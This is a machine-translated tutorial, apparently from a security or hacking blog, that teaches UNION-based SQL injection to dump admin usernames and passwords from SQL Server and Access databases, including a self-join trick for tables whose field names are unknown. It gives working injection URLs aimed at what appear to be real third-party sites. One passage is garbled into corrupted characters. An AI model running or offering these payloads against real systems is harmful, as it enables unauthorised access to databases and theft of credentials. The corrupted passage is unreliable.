How to quickly get access, SQL Server data

1. There is a SQL injection vulnerability in a system using an Access database, and the MSSQL database supports this technology

2. You need to know the table name of the table where the data is being exploded and a field name under this table, which is typically an ID field

The obvious advantage of using this technique is that:

1. You can not need quotes, filter quotes do not affect the technology

2. Can quickly know the content of sensitive data, and do not have the same as in the past to guess slowly, Chinese, special characters and so on all kill

3. You can still quickly get sensitive data content after SQL Server has blocked the error message

4. You can still get the information you want to know without knowing the key (to know the data) field name

At first glance, this technique may be difficult, but it is very simple. A total of two difficulties, the general first difficulty after seeing the results are very easy to think, but the second difficulty is indeed a little bit of trouble.

First look at a table, is the union of the syntax. This is also the main principle of data burst. As shown in the following illustration:

When we insert the Union statement using the SQL inject technique, as long as the two select queries get the same number of columns, the resulting query results become the data after the union select after the execution of the entire SQL statement is completed. So it's possible to explode the data we need. Let's look at a simple example:

Http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin

This is a server for SQL Server that turns off the return of error messages, so it is not possible to get sensitive data directly from previous methods. After inserting the Union statement via SQL inject, you can boldly guess that the executed SQL statement becomes:

SELECT * FROM Soft where softid=3903 union select username,password,1,1,1 from admin

Then under normal circumstances to display soft 1th, 2 fields is worth the place will display the admin username and password fields, the following 3 1 is also the same substitution. According to this characteristic, we can certainly also directly get the username and password fields in the Admin_userinfo table. The constructed statement looks like this:

Http://www.chinakj.com/SoftView.asp? Softid=3903%20union%20select%20username,password,1,1,1%20from%20admin_userinfo%20where%20username<>

The above is a simple use of union to achieve the acquisition of sensitive data, rather than through complex violent dismantling. In order to achieve the purpose of not knowing that the field name can get the same data, we should of course think of using * instead of the field name. That way, as long as the field represented by the number of fields plus a few 1 numbers is the same as the number of fields in the Select query table in the script, you can also get data that does not know the field name.

Given such a situation, there is a statement: Select Id,hit,softname,softurl from soft where id=10. The fields that are normally displayed in the Web page are softname and softurl, so we should adjust the location of the * when we use union, the structure in the General admin table is ID username password, The SQL statement should be constructed when injecting the above hypothetical statement: Select 1,* from admin. The username and Pssword fields replaced by * are in the position of the Softname and Softurl two fields so that the Web page can make the username and password fields obediently. Of course, here is just one of the simplest examples to illustrate that there are many times a table and a table may have more than 10 fields, I encountered the longest is 43 fields. So if you use SELECT * in the script to do the query, we should construct the union select with 1 Dine to 43 fields. Of course there are some fields that are not displayed by the Web page, which takes into account the position of the * number behind the union select. I don't think I need to say more about this.

The syntax described above perfectly conforms to SQL Server. But access and SQL Server are really dwarfed. In SQL Server, the collection of records that we query with the Select *,1,1,1 from admin statement is: * 1 1 1, respectively. 但是在access当中上面的这条语句查询的结果是1 1 1 *，也就是说无论你将*号处于这群1中间的什么位置上，*所代表的?葑苁谴τ诓檠?峁?淖詈竺妗S靡桓龈丛拥愕睦?幼魉得鳎?BR>http:// Www.hnp2p.com/mov/view.asp?id=1916%20union%20 (Select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)

This site is using an Access database, you can see the normal display of the fields are 2, 3, 7, 8, 10, 11, and the following fields will not be shown, remove 14,15,16 *, the page also shows the number, that is, admin in the number of fields is three, is definitely the ID Username password this structure, but no other fields except the ID field can be guessed by name. It is not feasible in access to move the position of the * number in order to be able to burst the sensitive data in the way that is used in SQL Server above. The reason is that access always places the fields that are replaced by * well in the last side of the query dataset. The results of access queries are always: 1,2,3,4,5,6,7,8,9,10,11,12,13,*. In order to represent the fields that are replaced by the * good, we must move the field replaced by * to another location. First look at the results:

Http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20 ((admin%20as%20a%20inner%20join

%20admin%20as%20b

%20on%20a.id=b.

ID)%20inner%20join%20admin%20as%20c%20on%20c

. id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)

%20inner%20join%20admin%20as%20e%20o

N%20d.id=e.id

With the execution of such a constructed statement, the final query gets the data form

1 2 3 4 5 6 7 8 9 10 11 12 13 14-15 16

1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd

The 3rd and 7th fields are exactly the values we want for the username and password fields. Here I use the join syntax, which joins (adds) the two tables to construct a query result that satisfies our requirements.

Joins are divided into all joins, left join and right joins, and the specific difference is to see the SQL syntax. Here, in Access, regardless of which connection method we choose, the effect is equal to all the connections. Look at a simple join syntax

SELECT *

From (table 1 INNER JOIN table 2 on table 1. ordinal = table 2. Ordinal)

INNER JOIN Table 3

On table 1. Serial number = Table 3. Serial number

Converting to an instance is:

Select 1,2,3,4,*

From ((admin as a inner join admin as B on a.id=b.id)

Inner JOIN admin as C on c.id=b.id)

Inner JOIN admin as D on d.id=c.id

In this format, you can solve the SQL statement that the above URL actually executes, simply by using join to connect the datasheet admin, and then by filling in the previous number of fields. As long as the statement is built properly, all data that does not know the field name can be displayed on the page. This is the difficulty of this technology.